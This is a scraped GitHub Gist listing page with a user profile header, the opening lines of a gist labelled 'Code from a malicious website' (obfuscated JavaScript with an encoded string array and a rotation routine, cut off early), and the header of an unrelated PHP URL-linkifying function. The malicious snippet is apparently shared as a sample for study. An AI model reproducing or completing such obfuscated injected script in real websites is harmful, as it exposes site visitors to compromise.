Skip to content

Instantly share code, notes, and snippets.

View frommMoritz's full-sized avatar
💻
I like to break stuff - and I'm good at it

Moritz Fromm frommMoritz

💻
I like to break stuff - and I'm good at it
View GitHub Profile
@qbi
qbi / wp-mal.js
Created May 20, 2019 09:19
Code from a malicious website
<
script type = 'text/javascript' >
var ttzza = ['R8OSw7rCuWPCt2NQwppQw47Cgn4=', 'w7F/OcKIw4UYwrpmw7bDr2LCiMOH', 'OkHDg8OBwrNLasOCEB4=', 'M8OBAcKqwowDw7dmUcOGw77DkA==', 'wrpiEFA=', 'wr7DlMKnB11CScOJw6ttw7E=', 'w6fDkcOLwpFLPcKOCsKwwrLDuxjCqA==', 'w7vDkzs=', 'OEXDl8OBwq9NQcOf', 'w43Cp8K/GH8=', 'JmsTUjN9', 'woDDnsOKw4U0dk4=', 'bEbDg8OJw6BMR8OfHQvChjrCrRXCqXrDlGbCp8Kze8OCwrZFwoxZOV/CsR9AKsOhwoTDnsOsQR09worDgsKOw5UyFC7Dk8K3w4rCgcK/w5LDkg=='];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
var g = function() {
@jasny
jasny / linkify.php
Last active October 21, 2023 16:28
PHP function to turn all URLs in clickable links
<?php
/**
* Turn all URLs in clickable links.
*
* @param string $value
* @param array $protocols http/https, ftp, mail, twitter
* @param array $attributes
* @return string
*/
public function linkify($value, $protocols = array('http', 'mail'), array $attributes = array())